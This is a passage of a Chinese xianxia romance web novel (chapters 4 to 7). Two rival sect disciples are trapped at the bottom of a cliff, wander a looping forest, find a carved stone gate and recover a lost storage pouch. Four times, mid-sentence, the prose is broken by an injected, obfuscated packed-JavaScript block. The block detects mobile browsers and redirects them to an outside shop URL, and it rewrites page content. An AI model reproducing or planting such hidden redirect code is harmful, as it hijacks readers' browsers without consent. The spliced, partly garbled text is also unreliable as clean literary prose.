二人将火把插在壁缝间,持剑而立,站得离巨石远了些,以免等会儿受到剑气波及。 虽说他们修为受限,无法聚起灵力,可手中的佩剑毕竟都是仙宝灵器,双剑齐齐劈下去,巨石果然裂开了几道细缝,碎块落入暗河水中,溅起阵阵水花。 见此招可行,两人对视了一眼,心中喜悦不自觉染上眉梢。 宁霜尘道:“再来。” 半炷香后,巨石终于全部碎在了他们的剑下,随着最后一块碎石扑通一声落水,暗河水面激起一道巨大水花。 叶云溪隐约听见耳边传来一句小心,火把被水花浇灭的刹那,宁霜尘的身影挡在了他的前面,随后四周漆黑一片。 眼前猛地陷入黑暗,叶云溪一时还没缓过神来,他依然睁着眼,听着心脏在胸腔里发出咚咚的跳动声。 预料中的冰冷河水没有落下来,眼前只有宁霜尘宽阔的后背。 叶云溪眨了眨眼。 好像……也没那么可怕? 不过……宁霜尘为什么要挡在他前面? 待到水面平静之后,宁霜尘才重新点上火把,顺着藤蔓将木筏拉到他们面前。 他拾起木筏上的竹篙,回头见叶云溪站着没动,问了句:“没事吧?” 叶云溪被他的声音拉回现实,连忙收剑入鞘,“没事。” 后面的路果然和宁霜尘说的一样,仍是一条暗河,这次他们没再遇上什么巨石,除了偶有蝙蝠飞出、风声呜呜,倒也没什么吓人的地方。 木筏在暗河中行进了将近半个时辰,头顶上的崖缝终于再次漏下了天光。 叶云溪正耷着眼皮昏昏欲睡,被一缕斜光刺得眯了眯眼,睁眼看到前方微微发亮的洞口,整个人瞬间精神起来。 出来了! 他们出来了! 他拄着拐杖慢慢站起身,满脸都是抑制不住的欣喜和激动。 只是在崖底待了短短三天,却仿佛待了整整三年。 木筏停在洞口,两人搀扶着下了木筏。 许是因为终于可以离开崖底,叶云溪头一次没有反感和宁霜尘的接触。 进入暗河时还是正午,出来时日头已经隐入了对面的山峰。 洞口外是一片嫩绿的草地,右边有个比崖底山洞还要窄小的洞穴,左边是一块雪练似的飞瀑,如从天而降一般,飞流千尺,水声如雷。 暗河的河水便是从飞瀑而来,飞瀑旁还有一个水雾氤氲的小石潭,潭水清澈见底,往下是一条蜿蜒曲折的溪流,溪水淙淙,弯曲绵延至不远处广袤无垠的密林中。 看这天色他们今天是走不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490684|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了了,两人于是在右边的小山洞里暂作休整。 连续赶了这么久的路,途中又在暗河里剑劈巨石,叶云溪这会儿早已筋疲力尽,随便在山洞寻了个位置,便靠着洞壁坐了下来。 宁霜尘则去附近找了一些干枯的树枝,顺道捉了几条银梭鱼,回到山洞生起了火堆。 不知道是不是错觉,叶云溪感觉此处要冷上许多,或是天色将歇,他为此没放在心上,只往火堆的方向靠近了一点。 一抬眼,却见宁霜尘正面朝他脱着身上的衣袍,白色的里衣刚好褪到一半,露出来的胸腹坚实又紧致。 叶云溪连忙扭过头:“你干什么?” 怎么突然就脱上衣服了? 就算都是男人,也太不见外了吧? 宁霜尘拣了两根树枝,把脱下来的衣袍搭在上面,“衣服湿了,烤烤火。” 叶云溪听到这话才想起,方才巨石落水的时候,宁霜尘在他前面挡下了所有水花。 可这和他又有什么关系,又不是他让宁霜尘这么做的。 想虽这么想,叶云溪仍是主动拿起了串鱼的树枝,语气带着嫌弃道:“等你忙完人都要饿死了,还不如我自己来烤,你还是先烤你的衣服去吧。” 一边说着,一边刻意避着视线,生怕看到了什么不该看的东西一样。 听出他话外的意思,宁霜尘不自觉唇角微抿。 枯枝在火堆里发出噼里啪啦的细响,叶云溪翻烤着树枝上的鱼,脑中却不由自主地浮现起刚才的画面来。 等等……为什么感觉宁霜尘的身材好像比他更好? 不对,一定是他看错了。 似是为了证实自己的想法,叶云溪犹豫了片刻,垂下眸子用余光偷偷瞄了一眼。 天已黑尽,山崖森林浸在无边无际的夜色中,唯有这处低矮的山洞亮着微光。 宁霜尘坐在火堆前,明亮温暖的火光映着他疏朗清隽的侧脸,他似在想着什么出神,眼睛紧盯着燃烧的火苗。 叶云溪正偷瞄着,第一眼没看清楚,于是又瞄了两眼,却不想宁霜尘刚好抬起眼来,和他撞了个正着。 四目相对,他迅速转过头去,装作若无其事般,嘴里哼着小调,眼神四处游移。 宁霜尘微眯了下眼,拨着火堆,不急不慢道:“都是男人,想看就看,怕什么?” 叶云溪听了立马反驳道:“谁怕了?” 话出口后,才意识到自己说得太快了。 他这么一说无异于直接承认了自己在偷看他。 反正话都说出口了,叶云溪索性大大方方回看过去。 他的目光先是落在宁霜尘厚实的臂膀上,然后缓缓往下滑落,从宽阔的胸膛滑至紧实的腹部。 可恶,真的比他好! 叶云溪气得掰断了手里的树枝。 宁霜尘出声提醒道:“鱼,要糊了。” 叶云溪咬了咬牙:“我知道,不用你说!” 叶云溪翻了个面继续烤,定睛一看,鱼果然被他烤糊了,他假装没看到,面无表情地将糊了一半的烤鱼直接递过去。 “给,你的。” 5. 第五章 两人在小小的山洞里歇了一夜。 许是昨日太过劳累,等到醒转时,山洞外已是天色大亮。 叶云溪长睫轻轻颤了颤,好不容易才将眼睛睁开一条细缝,眼前仍是惺忪一片。 昨晚他做了个梦,梦到他和宁霜尘一起离开了崖底,他的爹娘和他的师兄师姐们都来接他,握着他的手对他嘘寒问暖,他在大家的簇拥中回到了云岚宗。 竟然还梦到了宁霜尘…… 一定是这几天和他待的太久了。 叶云溪揉了揉眼,眼前逐渐清明,伴随着从洞外涌入的天光,一张深邃俊朗的脸庞映入眼来,薄唇微微抿着,鼻梁高挺,眉峰入鬓。 他的第一反应是,宁霜尘居然还没醒? 然后才意识到他们好像离得太近了,他的头搭在宁霜尘的肩上,乍一看好似搂在一起一样。 叶云溪被吓了一跳,连忙往后一退,抬头时宁霜尘刚巧醒了过来,两人的下巴和额头正好撞在一处。 叶云溪不由抽了口凉气,双腿因为屈得太久有些发麻,他无法直接站起来,只得坐的离宁霜尘远了些,皱着眉道:“谁让你靠我这么近的?” 开口便是先发制人的语气。 宁霜尘捡起从身上滑下去的外袍,听着他这话不免有些想笑。 昨天晚上也不知道是谁,自己怕冷便朝他靠过来,怎么推也推不开。 这会儿却来倒打一耙。 与此同时,叶云溪也想不明白,明明昨晚他离宁霜尘那么远,怎么一觉醒来就睡到一块儿去了。 都怪这个山洞太小了。 叶云溪正准备起身舒展一下,就在这时,宁霜尘穿上外袍后突然朝他弯下腰来。 距离越来越近,叶云溪不自觉身体朝后仰去,一脸警惕而茫然地看着他。 只见宁霜尘的薄唇半张半合,在快要贴近他的耳畔时,轻声说了一句,“昨晚某人睡得太香,口水都快流到我衣服上了。” 说完,伸手抽走被他压在手肘处的发带,直起身来。 叶云溪失神了片刻,听他这么说下意识抬手擦了下嘴角,忽然反应过来自己被宁霜尘戏弄,立时恼羞成怒,拔剑便朝他的方向刺去。 “宁、霜、尘!” 一个个字裹挟着怒意,从齿间蹦出。 宁霜尘侧身避开刺来的长剑,两指夹住剑刃,一刺一躲,两人在这狭小的山洞中缠斗起来。 叶云溪紧咬着牙:“找死!” 宁霜尘微微勾唇:“你不信我也没办法。” 直至密林上空忽地一群鸟雀惊起,交手的二人才不约而同停下动作,隐约之中,似从密林深处传来了一道猛兽的吼声,只是隔得太远,听不真切。 两人同时看向溪流对岸的密林。 便在宁霜尘走神的刹那,叶云溪趁机从侧边一剑刺去,宁霜尘闪躲不及,扭身一避,被锋利的剑刃削去了一缕长发。 叶云溪哼了一声,见宁霜尘落了下风,适才收剑就此罢休。 不过片刻,四周便又恢复到了先前的宁静,不远处仍是密林丛丛,树木草地郁郁葱葱。 两人重新回到同一阵营。 宁霜尘随手绑上发带,提起剑说道:“我们走吧。” 叶云溪闻言一顿:“现在?” 宁霜尘点头嗯了声,走出山洞:“我去搬木筏,一会儿走水路。” 叶云溪连忙拄着拐杖在后面跟上他:“我也去。” 溪水比之暗河湍急许多,瀑布飞流奔腾而下,水声潺潺,曲折迂回的溪流一路蜿蜒没入未知的密林之中。 他们将木筏放在水势较缓的地方,准备沿着小溪顺流而下,既有瀑布溪流,他们便一定能寻到深崖的出口,到时便可离开此处。 这次轮到宁霜尘在前头撑起竹篙,叶云溪则站在木筏后端。 上了木筏后,叶云溪便一直说个不停:“看在你带我离开的份上,我便大人不记小人过,等回了云岚宗就告诉我爹和我娘,让他们派人给你们霜华宗送一份谢礼。” 似是因为即将离开这里,他暂时将先前宁霜尘的戏弄,以及他和宁霜尘是宿敌这件事忘在了脑后。 宁霜尘划着竹篙道:“那真是谢谢你了。” “不用谢。”叶云溪毫不客气道,随即又挑了挑眉:“你就不好奇我会送你什么?” 宁霜尘道:“什么?” 叶云溪却故意卖起了关子:“当然不能说,说了就没惊喜了。” 等回去后,他一定会为宁霜尘准备一份超大的“惊喜”,以感谢宁霜尘对他的“搭救之恩”。 如果不是宁霜尘同他抢灵兽,他又怎么会掉到这种鸟不拉屎的破地方。 可不得好好感谢他才行。 两岸密林随着漂流的木筏缓缓倒退,叶云溪索性背对着宁霜尘坐下来,欣赏着四周清新秀丽的美景。 若不是被困住,此处倒不失为一个闭关修炼的好地方。 只可惜他现在一心想着离开,连尚未恢复的修为也没那么放在心上。 反正他们云岚宗有的是灵丹圣药,他的师叔又是修仙界数一数二的医修,不愁找不到办法。 想到这里,叶云溪接着又道:“对了,如果你求我的话,我也不是不可以跟我师叔说一声,等我修为恢复了,也让他帮你看看。” 宁霜尘没有搭话。 “嗯,我想想……”叶云溪继续道:“你就说一句‘求求你了叶少主’,怎么样?” 宁霜尘道:“不用了。” 叶云溪挑眉:“嗯?” 宁霜尘道:“暂时用不上了。” 叶云溪刚想让他先说一句来听听,却见木筏不知几时停了下来,他回头一看,宁霜尘正手握竹篙看着周围雾气茫茫的湖面。 嗯?湖面? 叶云溪急忙起身环顾了遍四周。 四面险崖峭立,危峰直插云天,湖面似结着雾气,一眼望去白茫茫一片,碧蓝的湖水倒映着四周的峰峦树影。 溪流的尽头竟是一片湖水! 他一时间愣住了,好一会儿才回过神:“怎么回事?” 眼前的湖水却已给了他答案。 这里根本没有出口! 他们还在崖底! 宁霜尘将木筏划向湖边:“去前面看看。” 这片湖水如一块碧玉般,卧在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490685|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巍峨群峰之间,北边便是他们来时的溪流,东边是溪流对岸的密林,林中树木繁茂苍翠,远远看去一片深绿。 最后,宁霜尘在靠近密林的湖边停了岸,叶云溪跟着他一起下了木筏。 在原路返回和继续前行之间,两人一致决定去往密林里看看,说不定有别的出口。 宁霜尘把木筏留在了密林入口处,用树枝当做记号,以免出来的时候他们找不到方向。 秘境中有不少这样的密林,多是妖兽妖怪的藏身之所,为此,进入密林之前两人都握紧了手里的长剑。 宁霜尘在前面拨着树枝探路,叶云溪一只手拄着拐杖,另一只手拿着剑紧跟其后。 密林里全是参天大树,粗壮的树根,弯曲的枝干,浓密的枝叶交错层叠,巨大的树冠如伞盖般往周围伸长延展,隐天蔽日。 没走一会儿,回头便已不见密林入口。 林中虽能视物,却处处透着阴森寒意,叶云溪下意识跟紧宁霜尘的脚步,只差和他的后背贴在一起。 两人在密林中走了约摸半个时辰,始终未能寻到新的出口。 就在叶云溪快要失去耐心时,走在前面的宁霜尘冷不丁刹住了脚,他正自四处张望着,一个没留神从后面撞了上去。 他摸了下险些被撞疼的鼻尖,皱了皱眉,正欲开口,却见宁霜尘蹲下身去,似在看着地上的什么东西。 叶云溪微微俯身,顺着宁霜尘的视线看向地面,“脚印?” 他顿时警觉地左右看了一眼,“还有别人?” 宁霜尘用手指拈了拈地上的泥土,又扫了眼叶云溪的双脚,起身不紧不慢道:“没有别人,这脚印是我们自己的。” 叶云溪就算再迟钝,也听懂了他话里的意思,不可置信道:“你的意思是,这个地方我们走过?” 可他明明记得,他们一直都是直走,从未转弯掉头。 既是如此,为什么会回到已经走过的地方? 宁霜尘嗯了声,转而拔出长剑,在旁边的树上划了一道交叉的刻痕,然后收回剑对叶云溪道:“再试试。” 叶云溪点点头。 于是,他们又沿着脚印直走了一遍,一边走,一边在树上做着记号。 密林上方时不时有飞鸟掠过,脚踩上枯枝发出清脆刺耳的声响,衬得眼前的密林愈发幽森诡谲。 在试了第三遍后,两人终于确定,他们在密林里迷路了。 这里与其说是密林,不如说是个迷阵。 宁霜尘提着剑在前面开路,回头看到叶云溪落在后面,扶着一旁的树气喘吁吁,停下脚道:“还能走吗?” 什么意思? 这是觉得他不行? 男人最忌讳别人说自己不行! 更遑论说这话的人还是他的死敌。 叶云溪听见这话立马站直了身,硬着头皮道:“当然能走!我又不是瘸子。” 他说着拄起拐杖迈开脚步,却在抬腿时忍不住倒抽了口冷气,右腿伤口似又撕裂般隐隐发痛。 半个时辰后—— 叶云溪趴在宁霜尘的背上,拿着拐杖指挥道:“走这边!不对不对,那边那边!” 6. 第六章 温热的气息从耳侧飘来,宁霜尘只觉后颈处好似有一只小虫在爬来爬去,令人微微发痒。 在他问了还能不能走之后,果然,下一秒叶云溪就摔在了他的面前。 他站在原地看了眼,弯下腰无奈地将他扶起来,然后把人背在了背上。 一开始叶云溪还不大情愿,大抵是不想和他近距离接触,发现自己真的走不动之后,才听话地趴在了他的后背,浑身僵硬着一动不动。 当然,也就听话了一会儿。 骄纵蛮横的叶少主很快又恢复了原来的本性,挥动着手里的拐杖指挥起来。 “那边!”叶云溪指着右边的密林,十分肯定道:“走那边!这次一定能出去!” 他们已经在密林里兜兜转转走了快两个时辰。 前方的密林隐约有一道光的轮廓,远远望去仿佛一个发光的洞口,两边的林木形成狭窄的甬道,将迷路的二人包围其中。 宁霜尘听叶云溪的话加快了脚步,终于在快要力竭之前,一起走出了这片漫无边际的密林。 在林中待的太久,乍一看到外面耀眼的日光,叶云溪被刺得眯了眯眼睛,下意识抬手挡了一下。 这次是真的出来了! 他从宁霜尘的后背滑下来,定睛一看,如喷雪般的瀑布,淙淙不绝的溪流,绿意葱茏的草地。 不远处的一切都是那么的熟悉。 他们确实出来了,但不是出了深崖,而是回到了瀑布边的山洞。 也就是说,他们现在仍在崖底。 叶云溪有些不敢相信自己的眼睛,揉了下眼再看,眼前的景物依然没有丝毫变化。 他不可置信地喃喃道:“为什么……” 为什么他们走了这么久又回到了这里? 宁霜尘则微蹙了下眉道:“看来想要离开此地并不容易。” 疲惫不堪的二人无力再思考太多,眼看天色将晚,只得暂时回到原本低矮的山洞。 因为离开失败,两人的情绪都不免有些低落,回到山洞后谁也没再说话,只一言不发地静静看着燃烧的火堆。 本以为从暗河出来便能找到出路,原来只是从一个牢笼进入到另一个牢笼。 难道就要一辈子困在这里了吗? 叶云溪光是想想便难以忍受。 他不禁怀念起在云岚宗无忧无虑的日子,如果不是他执意跟着师兄师姐下山,他现在一定还待在爹娘的身边,每日在宗门里同师弟们打趣玩闹、和师妹们谈天说地…… 可是没有如果…… 冰冷的夜风将他拉回现实。 宁霜尘将烤好的鱼递过来,叶云溪抬眸淡淡看了眼,接到手里咬了一口,慢吞吞地咽入肚中。 实在没什么胃口,随意吃了两口,便放回了一旁的石头上。 宁霜尘看出他心情不佳,也没劝他,只道:“先休息一日,明日过后我再去附近看看。” 如今他们都失了修为,像今日这般贸然闯入密林,对他们来说还是太危险了。 若是意外遇上妖兽异物,别说回到这里,性命是否仍在都尚未可知。 叶云溪听了他的话,并未多言,只轻轻点了点头。 于是,他们又在崖底待了两天。 这两天叶云溪基本都窝在小山洞里,偶尔感到烦闷的时候,便去山洞外的溪岸边走一走,晒晒太阳,听听水声。 他相信,他的师兄师姐一定正在找他,而且肯定比他还要着急。 他也相信,他一定可以离开这里。 经过这两日休养,叶云溪的腿伤反而好上了许多。 这日,宁霜尘出去了一趟,带回来两只被拔光了羽毛的鸟。 因为不知道还要在这里待上多久,他这两天稍微收拾了一下山洞,洞内夜里风大,他为此特意去湖边找回了木筏,挡在洞口,勉强当做木门使用。 叶云溪学会了自己敷药,用石头捣着宁霜尘给他采回来的仙灵草。 宁霜尘瞥了眼他,见他最近变得安静了不少,不像平日里那般咋咋呼呼,一时竟有些不大习惯。 他将鸟肉放入火堆里,说道:“今天我又去了一次密林,但没进去,我怀疑密林里有结界,所以上一次我们在里面才会迷路。” 叶云溪正敷着药,闻言不由抬眸:“结界?” 宁霜尘点点头:“嗯,我想再沿着密林和湖边去看看。”说着缓缓看向他,“你去吗?” 每次都是他跟着要去,还是头一次宁霜尘主动问他。 就这么待在山洞里也不是办法,他不能只将希望寄托于深崖外的师兄师姐。 他也要努力! 叶云溪想了想道:“去。” 等他敷完了药,宁霜尘带回来的鸟肉也烤好了。 他没有像烤鱼一样把整只鸟串在树枝上,而是先用蕉叶将鸟肉包裹起来,再在外面涂抹上一层泥巴和干草,最后放入火堆中慢慢烤熟。 叶云溪看着那层泥巴,眼神略带嫌弃地皱了皱眉。 他不是没有吃过鸟肉,只是以往吃的鸟肉要么是油炸要么是煨煮,从未吃过这样带泥烤的。 因此,宁霜尘递给他的时候,他犹豫了一瞬才接了过去。 和以前吃过的不太一样,用泥巴烤出来的鸟肉口感更加细腻,外酥里嫩,吃进嘴里还带着一点蕉叶的清香。 连续吃了好几日的烤鱼,叶云溪早就吃腻了,今日这鸟肉不柴不腥,倒是很合他口味。 等回过神时,他已经吃完了整整一只。 两人在山洞里吃饱喝足,看时间已过正午,熄了火堆后再次动身前往密林。 虽然近两日腿伤已经有所好转,叶云溪走路时仍是带上了拐杖,他可不想像上次那样狼狈地摔在宁霜尘的面前,又狼狈地趴在宁霜尘的背上。 之后回想起来,他总觉得他们那样有些奇怪,但哪里奇怪又说不上来。 大概因为他们本是宿敌,而如今被困崖底又不得不相互依靠。 这一次,两人没有直接进入密林,而是一路沿着湖边前行。 说是探路,更像是出来散心。 远处的群峰映在碧蓝湖水中,湖面仿佛一面精心打磨过的镜子,微风拂过,湖水漾起点点波纹。 上回他们急着寻找新的出口,并未来得及好好欣赏这湖中景色。 一路上,叶云溪采了不少仙灵草。 这座深崖虽然诡异莫测,崖底却长着许多奇花异草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490686|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有的他在宗门的藏书阁内见过,有的他叫不出名字,却也知道它们并非寻常之物。 比如,眼前这朵长在草丛里的红蘑菇。 圆滚滚的菌盖,胖乎乎的菌柄,看起来可可爱爱。 叶云溪忍不住伸手轻轻碰了一下,回头看到宁霜尘朝他的方向走来,出声问他:“这是什么蘑菇?能吃吗?” 宁霜尘看了一眼蘑菇,又看了一眼他,目光落在他的手上,反问道:“你碰了?” 叶云溪不明白他问这话是什么意思,如实点头道:“碰了,怎么了?” 宁霜尘又确认似的问了遍:“真碰了?” 叶云溪再次点头:“嗯,碰了。”又面露不解道:“不就是蘑菇,碰了怎么了?” 总不可能还会中毒。 正这么想着,便见宁霜尘眉头一皱,脸色突然变得凝重起来。 叶云溪心里不由冒出一丝不祥的预感。 果不其然,宁霜尘紧接着一脸正色道:“这不是普通的蘑菇,它的名字叫做噬血菇,若是有人不小心吃了,不出一日,便会全身血液沸腾,爆体而亡。” 瞧着这般可爱,想不到竟如此可怖! 叶云溪急忙追问:“那不小心碰了呢?” 他只是轻轻碰了一下,应该没事吧…… 宁霜尘默了默道:“三日之内,七窍流血。” 七窍流血?这死状未免也太难看了! 等等,三日…… 也就是说,他三日之内就会毒发…… 出不去崖底就算了,现在还让他碰上什么毒蘑菇。 人倒霉起来真是喝凉水都塞牙。 叶云溪赶忙低头看了眼,碰过蘑菇的手心似乎比起方才变红了一些。 他顿时皱紧了眉,紧张地问道:“那现在怎么办?有解毒的办法吗?” 总不可能真的死在这里。 宁霜尘抱着手臂,手指摩挲着下巴,思考了一会儿,不紧不慢道:“办法也不是没有,只需要在原地跳一下,再转一圈,然后跳两下,再转两圈,毒就可以解了。” 跳一下,转一圈,跳两下,转两圈…… 叶云溪在心里跟着默念了一遍,正准备照他说的去做,忽然间想到什么,蓦地停了下来,咬着牙满脸怒气地瞪着他。 “宁霜尘!” 又戏耍他!!! 宁霜尘此时早已退到了半丈之外。 见叶云溪一脸怒火,反而重重松了口气。 嗯,终于正常了。 这两日没见着叶云溪发火,反倒叫他很不习惯。 两人在湖边追打起来。 叶云溪从后面追上宁霜尘,狠狠朝他踹了一脚,踹完又下意识捂了下自己的腿。 他犹未解愤,正欲拔剑再刺,却没注意到身后的深坑,脚底忽地一空,往后倒了下去。 宁霜尘连忙伸出手去,刚触碰到他的手腕,便和他一同掉进了坑里。 深坑里铺满了落叶,并不硌人,叶云溪躺在下面,宁霜尘摔在他的身上,薄唇正好印在他的眉间。 两人以这样的姿势维持了片刻。 叶云溪耳根一热,猛地将人一推。 “滚开!” 7. 第七章 居然被男人亲了…… 该死的宁霜尘! 叶云溪看着眼前这张脸就来气,用力将宁霜尘从身上推开。 被男人占了便宜就算了,偏偏这个男人是他不对付的死敌,而且此人刚才还在捉弄他! 叶云溪从落叶堆里爬起来,拍掉衣服上的落叶,耳廓仍带着一抹不易察觉的微红。 他可连小师妹的手都没牵过! 宁霜尘被他推到一边,在他后面起身,因为理亏在先,只站在一旁拂着身上的落叶,没有上前。 想到方才的触感,他微敛了敛眸色,有一种说不清道不明的感觉在心底溢散开来。 面前的人抖完衣服上的落叶,又理了一下袖口袍角,微乱的发间仍缀着一片枯黄的叶子。 他掀眸扫了一眼,片刻后走上前去,正欲抬手帮忙拂掉,却被对方无情拍开。 叶云溪反射性往后一退,一脸戒备地看着他,没好气道:“你想干什么?” 宁霜尘只好停下脚来,看着他的头顶提醒道:“头发。” 叶云溪起初不明所以,只顺着他的视线用手抓了下自己头发,看见手里的落叶,才反应过来宁霜尘刚刚是想要帮他。 但这又怎么样。 这依然无法改变宁霜尘捉弄他的事实。 他摘完落在发间的落叶,扭头一看,宁霜尘已经走在了前面。 他们仍在深坑里,刚才只顾着清理落叶,没来得及留意四周,叶云溪环视了一遍才发现,这里竟比暗河入口处的山洞还要宽敞。 前面似有一条小道,宁霜尘的衣袍刚好擦过拐角,他环视完急忙捡起拐杖跟上去。 深坑上方便是密林和湖水的交界,两人走到深坑尽头,一面垂直的石壁赫然出现在眼前,周围长满了野草和藤蔓,枯枝败叶,杂草丛生。 就在这时,密林深处忽地传出一声凄厉的鸦啼。 两人随即背对而立,握紧长剑打量着四周。 过了片刻,伴随着鸦啼声远去,靠近的两人互看了眼,又如触电般连忙拉开彼此的距离。 他们从中间分开,分别朝石壁左右走去。 叶云溪走到右边的石壁前,打算坐下歇息一会儿,扶着石壁时不小心碰到上面的刻痕,不由地多看了一眼。 只见爬满藤蔓的石壁间,隐约刻着什么文字,只是被茂密的藤蔓遮掩,乍一看根本看不出来。 叶云溪急忙对着另一边的宁霜尘喊道:“你快来看,这里有字!” 宁霜尘闻声走来,凑近看了一眼后,让他退后一步,挥剑斩掉了石壁上密密匝匝的藤蔓。 随着藤蔓齐齐落地,他们终于看清了石壁的全貌。 与其说这是石壁,更像是一道石门。 石门约半丈高,上方呈半圆弧状,两边有一道深深的凹痕,像是尘封已久,石隙间结满了蛛网。 经过日晒雨淋,石门上镌刻的字迹已看不大清晰,只能从刻字的笔画判断,似乎是一个双木合成的‘林’字,‘林’字下面好像还有一个字,但走势散乱,难以辨认。 此处正是密林边缘,难道这里才是崖底真正的出口? 叶云溪心中再次升起一丝希望。 宁霜尘则看着那个刻字若有所思。 叶云溪碰了下他的肩道:“你说,会不会这道石门才是通往外界的出口?” 宁霜尘默了会儿,只说了两个字:“或许。” 叶云溪却是心情大好,这一趟不算白来,虽然途中被宁霜尘戏弄,但他们总算找到了新的出路。 为免有被遗漏的地方,他又趁着宁霜尘琢磨石门之余,沿着另一边的石壁查看了一遍。 这一看,正好看见石壁顶端盘屈的树枝上挂着一个什么东西。 隔着一段距离,看不太真切,只远远瞧着有些眼熟。 叶云溪划去一道剑风。 树枝上的东西随之落了下来。 他定睛一看,落在地上的是个形似锦囊的袋子,袋口系着一条金色细绳,看起来像是修仙之人常用的储物袋。 但他的储物袋是浅碧色的。 叶云溪越看越觉得这袋子的颜色像在哪里见过,正要弯腰去捡,却不想被后来的宁霜尘抢先了一步。 叶云溪随即伸手去抢:“我先看到的。” 宁霜尘躲开道:“这是我的。” 叶云溪停下来:“你的?” 再仔细看那储物袋的颜色,确实和宁霜尘衣袍的颜色一模一样,都是雪青色。 难怪眼熟。 宁霜尘将上面的图案拿给他看,是一个用金色丝线绣成的‘寜’字。 的确是宁霜尘的。 想不到途中遗失的储物袋竟然也掉到了崖底。 叶云溪顿时眸色一亮。 他们是一起坠入深崖的,宁霜尘的储物袋既然在这里,没准儿他的也在附近。 叶云溪随即提着剑道:“我去找找我的。” 宁霜尘收起储物袋,紧跟在他身后:“我和你一起找。” 他们暂时将探查石门的事放在一边,转而开始寻找另一个储物袋。 却不想从白天找到黑夜,一直到天色黑透,只差把深坑里的每一块地皮给翻找完了,也没能找到。 最后,两人不得不在夜色中回到山洞。 宁霜尘生起火堆,将储物袋里的东西一件件拿出来,什么灵丹灵药、法器宝物、书卷玉简,以及一些日常用的锅碗瓢盆和几身整洁干净的衣物。 叶云溪坐在一旁,却是露出十分嫌弃的神色。 堂堂霜华宗,瞧着未免也太寒酸了些。 这要捡到的是他的储物袋,怎么可能只有这些东西。 当初下山的时候,爹娘和师兄师姐们把他的储物袋装得满满当当,恨不得把整个云岚宗都让他带上。 可惜他的储物袋没找到。 宁霜尘简单整理了一下,看了眼火堆对面的叶云溪,挑出一个装着灵丹的碧色玉瓶扔过去,“这是复元丹,你的腿伤尚未痊愈,这丹药每日吃两粒。” 叶云溪虽眼露嫌弃,想到还没好全的右腿,仍是接到了手里,拧开瓶塞,倒了两粒在手心。 上品灵丹,勉强。 总比每天敷药好。 捣碎的仙灵草黏黏糊糊,虽无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490687|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异味,看着却很是恶心。 如果不是不想真的变成瘸子,他才不会每天在自己腿上敷这种恶心的东西。 叶云溪吃了丹药,将玉瓶揣在身上,顺道查看了下腿伤,指尖碰到白日在湖边踩得满是泥土的靴袜,不禁嫌恶地皱了皱眉。 ……好脏。 说起来,自从坠入深崖以后,他已经很久没有换洗过衣物了。 偶尔会去水边清洗一下,但他全身上下只有这一件,总不可能就这么全部换下来。 也不知道什么时候才能离开这个鬼地方,再这么继续待下去,他真的快要馊掉了。 若是他的储物袋还在…… 念及此处,叶云溪余光不受控制地扫了眼宁霜尘手边的袋子。 眼下只有…… 很快,他便打断了自己的念头,摇了摇头。 让他穿宁霜尘的衣服?绝无可能! 这么想着,叶云溪忍了忍目光,又忍不住再看了一眼,一抬眼,正好和宁霜尘四目相对。 宁霜尘正收拾着那些法宝灵器,对上他的视线,默了会儿,待叶云溪移开眼后,挑了几件还未穿过的衣物递给他。 叶云溪看着他,明知故问:“给我干嘛?” 知道以叶少主的脾气,就这样给他反而不会接受,宁霜尘朝他上下扫视了一遍,淡淡道:“洗洗,臭。” 叶云溪闻言,抬起手臂低头闻了闻,身上的衣服脏是脏了点,但并无汗味。 哪里臭了? 他抬着手臂顿了下,反应过来宁霜尘又在捉弄自己,顿时一脸怒色。 你才臭! 臭宁霜尘! 叶云溪握紧拳头,看到宁霜尘放在他面前的干净衣物,深深吸了口气,又缓了缓松开十指。 罢了。 他就忍这一次。 和在这里同宁霜尘无聊斗嘴相比,此时的他更想好好洗个澡,再换一身干净舒适的衣服。 虽然这衣服看着并不怎么样。 叶云溪拈起衣服的一角看了看,蹙着眉心:“只有这些?” 全都一样。 他才不穿和宁霜尘一样的颜色。 